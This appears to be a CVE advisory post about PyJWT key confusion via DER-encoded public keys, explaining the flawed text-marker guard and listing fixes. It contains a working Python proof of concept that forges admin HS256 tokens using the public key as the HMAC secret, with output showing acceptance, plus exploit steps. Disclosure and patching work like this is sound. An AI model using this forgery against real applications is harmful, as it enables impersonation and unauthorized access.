PyJWT, Key Confusion via DER-Encoded Asymmetric Public Keys, CVE-2022-29217 -DC-Sep2026-2642

Listen to this Post

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets.

It searches for text markers only.

It looks for –BEGIN and for an ssh- prefix.
The same key in DER form is binary ASN.1.
DER has neither marker, so it passes the check.

It is then used as an HMAC secret.

An application verifies tokens with an RSA or EC public key.

It also allows HS256 with that same key.

An attacker can give a forged token.

The attacker signs it with the public key.

The public key is public.

This is the key confusion problem.

CVE-2022-29217 was filed for it.

It is reachable again through a different encoding.

The reach is smaller than the original CVE.

The application must already be misconfigured.

It must hold its public key as DER bytes.
PEM is the more common form and is still blocked.

The guard is at jwt/algorithms.py:331.

Both helpers are text matchers.

Neither one parses the key.

jwt/utils.py:126 is_pem_format runs a regex for -[- ]BEGIN …-.
jwt/utils.py:141 is_ssh_key checks startswith against ssh- and ecdsa-sha2- prefixes.
A DER encoded public key starts with bytes 0x30 0x82.

It matches neither, so prepare_key returns it unchanged.

It becomes the HMAC secret.

There is no DER handling in the package.

grep -rni “\bDER\b|load_der” jwt/ tests/ returns nothing.

This affects DER SubjectPublicKeyInfo, DER PKCS1, and DER encoded X.509 certificate.

Applications using PyJWK or PyJWKClient are not affected.

jwt/api_jws.py:395 binds header alg to key algorithm.

HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: parse bytes as key and reject if parsing works.

Use load_der_public_key, load_der_private_key, load_der_x509_certificate in try/except.

A random HMAC secret will not parse as valid DER.

Tested on 2.4.0, 2.13.0, and main commit 7144e4534.

All three behave the same.

Guard has been marker based since 2.4.0.

Versions in between are very likely affected.

No special configuration is needed.

The script builds its own key.

DailyCVE Form:

Platform: PyJWT
Version: 2.4.0-2.13.0
Vulnerability : Key confusion
Severity: Not stated
date: 2026-09-11

Prediction: 2026-09-11

What Undercode Say:

Analytics

pip install “pyjwt==2.13.0” cryptography

python poc.py

grep -rni “\bDER\b|load_der” jwt/ tests/

python -m tox

ruff check .

mypy .

packaging

coverage

import base64

import hashlib

import hmac

import json

import jwt

from cryptography.hazmat.primitives.asymmetric import rsa

from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()

pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)

der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):

return base64.urlsafe_b64encode(raw).rstrip(b”=”)

def forge(secret):

head = b64(json.dumps({“alg”: “HS256”, “typ”: “JWT”}).encode())

body = b64(json.dumps({“user”: “admin”, “role”: “admin”}).encode())

signing_input = head + b”.” + body

sig = hmac.new(secret, signing_input, hashlib.sha256).digest()

return (signing_input + b”.” + b64(sig)).decode()

try:

jwt.decode(forge(pem), pem, algorithms=[“RS256”, “HS256”])

except jwt.exceptions.InvalidKeyError as exc:

print(“PEM rejected:”, exc)

print(“DER SPKI accepted:”, jwt.decode(forge(der), der, algorithms=[“RS256”, “HS256”]))

print(“DER PKCS1 accepted:”, jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[“RS256”, “HS256”]))

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s

DER SPKI accepted: {‘user’: ‘admin’, ‘role’: ‘admin’}

DER PKCS1 accepted: {‘user’: ‘admin’, ‘role’: ‘admin’}

Exploit: (Educational Purposes!)

Generate RSA public key.

Encode same key as DER SPKI.

Encode same key as DER PKCS1.

Forge HS256 token using DER bytes as HMAC secret.

Pass token and DER bytes to jwt.decode.

Use algorithms=[“RS256”, “HS256”].

PEM form is rejected.

DER form verifies.

Attacker mints arbitrary claims.

No secret stolen.

Protection: from this CVE

Upgrade PyJWT 2.14.0.

Do not mix HS and RS.

Use PyJWK or PyJWKClient.

Keep PEM public keys.

Parse DER and reject if parsing works.

Use load_der_public_key.

Use load_der_private_key.

Use load_der_x509_certificate.

Reject DER public keys and certificates.

Allow arbitrary binary HMAC secrets.

Private-key container formats outside fix scope.

Impact:

Key confusion.

CWE-347.

Improper verification of cryptographic signature.

Same class as CVE-2022-29217.

Applications verifying with asymmetric public key and HS affected.

Public key passed as DER bytes.

Attacker mints any claims.

Login as any user.

Public key is public.

Re-encode to DER.

Nothing secret stolen first.

Requires mixed HS and RS misconfiguration.

Requires DER bytes.

PEM still blocked.

PyJWK and PyJWKClient not affected.

Fix in 2.14.0.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top